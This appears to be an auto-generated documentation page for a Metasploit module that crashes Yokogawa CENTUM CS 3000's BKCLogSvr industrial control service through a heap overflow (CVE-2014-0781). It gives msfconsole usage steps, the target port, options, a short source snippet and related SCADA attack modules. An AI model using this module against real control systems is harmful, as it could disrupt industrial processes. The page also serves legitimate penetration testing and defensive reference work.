Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow - Metasploit
This page contains detailed information about how to use the auxiliary/dos/scada/yokogawa_logsvr metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow
Module: auxiliary/dos/scada/yokogawa_logsvr
Source code: modules/auxiliary/dos/scada/yokogawa_logsvr.rb
Disclosure date: 2014-03-10
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 52302
List of CVEs: CVE-2014-0781
This module abuses a buffer overflow vulnerability to trigger a Denial of Service of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability exists in the handling of malformed log packets, with an unexpected long level field. The root cause of the vulnerability is a combination of usage of uninitialized memory from the stack and a dangerous string copy. This module has been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/dos/scada/yokogawa_logsvr
msf auxiliary(yokogawa_logsvr) > show targets
... a list of targets ...
msf auxiliary(yokogawa_logsvr) > set TARGET target-id
msf auxiliary(yokogawa_logsvr) > show options
... show and set options ...
msf auxiliary(yokogawa_logsvr) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the dos/scada/yokogawa_logsvr auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/scada/yokogawa_logsvr
msf6 auxiliary(dos/scada/yokogawa_logsvr) > show info
Name: Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow
Module: auxiliary/dos/scada/yokogawa_logsvr
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-03-10
Provided by:
juan vazquez <[email protected]>
Redsadic <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RLIMIT 10 yes Number of packets to send
RPORT 52302 yes The target port (UDP)
Description:
This module abuses a buffer overflow vulnerability to trigger a
Denial of Service of the BKCLogSvr component in the Yokogaca CENTUM
CS 3000 product. The vulnerability exists in the handling of
malformed log packets, with an unexpected long level field. The root
cause of the vulnerability is a combination of usage of
uninitialized memory from the stack and a dangerous string copy.
This module has been tested successfully on Yokogawa CENTUM CS 3000
R3.08.50.
References:
http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf
https://blog.rapid7.com/2014/03/10/yokogawa-centum-cs3000-vulnerabilities
https://nvd.nist.gov/vuln/detail/CVE-2014-0781
Module Options
This is a complete list of options available in the dos/scada/yokogawa_logsvr auxiliary module:
msf6 auxiliary(dos/scada/yokogawa_logsvr) > show options
Module options (auxiliary/dos/scada/yokogawa_logsvr):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RLIMIT 10 yes Number of packets to send
RPORT 52302 yes The target port (UDP)
Advanced Options
Here is a complete list of advanced options supported by the dos/scada/yokogawa_logsvr auxiliary module:
msf6 auxiliary(dos/scada/yokogawa_logsvr) > show advanced
Module advanced options (auxiliary/dos/scada/yokogawa_logsvr):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/scada/yokogawa_logsvr module can do:
msf6 auxiliary(dos/scada/yokogawa_logsvr) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/scada/yokogawa_logsvr auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/scada/yokogawa_logsvr) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.
Here is a relevant code snippet related to the "Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT." error message:
39: ])
40: end
41:
42: def run
43: if datastore['RLIMIT'] < 2
44: print_error("Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.")
45: return
46: end
47:
48: # Crash due to read bad memory
49: test = [1024].pack("V") # packet length
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12949 Merged Pull Request: This fixes broken links to the community.rapid7.com blog
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3336 Merged Pull Request: Update CVEs for RootedCon Yokogawa modules
References
- http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf
- https://blog.rapid7.com/2014/03/10/yokogawa-centum-cs3000-vulnerabilities
- CVE-2014-0781
See Also
Check also the following modules related to this module:
- auxiliary/dos/scada/allen_bradley_pccc
- auxiliary/dos/scada/beckhoff_twincat
- auxiliary/dos/scada/d20_tftp_overflow
- auxiliary/dos/scada/igss9_dataserver
- auxiliary/dos/scada/siemens_siprotec4
- auxiliary/admin/scada/yokogawa_bkbcopyd_client
- exploit/windows/scada/yokogawa_bkbcopyd_bof
- exploit/windows/scada/yokogawa_bkesimmgr_bof
- exploit/windows/scada/yokogawa_bkfsim_vhfd
- exploit/windows/scada/yokogawa_bkhodeq_bof
- auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
- auxiliary/admin/scada/ge_proficy_substitute_traversal
- auxiliary/admin/scada/modicon_command
- auxiliary/admin/scada/modicon_password_recovery
- auxiliary/admin/scada/modicon_stux_transfer
- auxiliary/admin/scada/moxa_credentials_recovery
- auxiliary/admin/scada/multi_cip_command
- auxiliary/admin/scada/pcom_command
- auxiliary/admin/scada/phoenix_command
- auxiliary/scanner/scada/bacnet_l3
- auxiliary/scanner/scada/digi_addp_reboot
- auxiliary/scanner/scada/digi_addp_version
- auxiliary/scanner/scada/digi_realport_serialport_scan
- auxiliary/scanner/scada/digi_realport_version
- auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess
- auxiliary/scanner/scada/koyo_login
- auxiliary/scanner/scada/modbus_banner_grabbing
- auxiliary/scanner/scada/modbusclient
- auxiliary/scanner/scada/modbusdetect
- auxiliary/scanner/scada/modbus_findunitid
- auxiliary/scanner/scada/moxa_discover
- auxiliary/scanner/scada/pcomclient
- auxiliary/scanner/scada/profinet_siemens
- auxiliary/scanner/scada/sielco_winlog_fileaccess
Authors
- juan vazquez
- Redsadic <julian.vilas[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.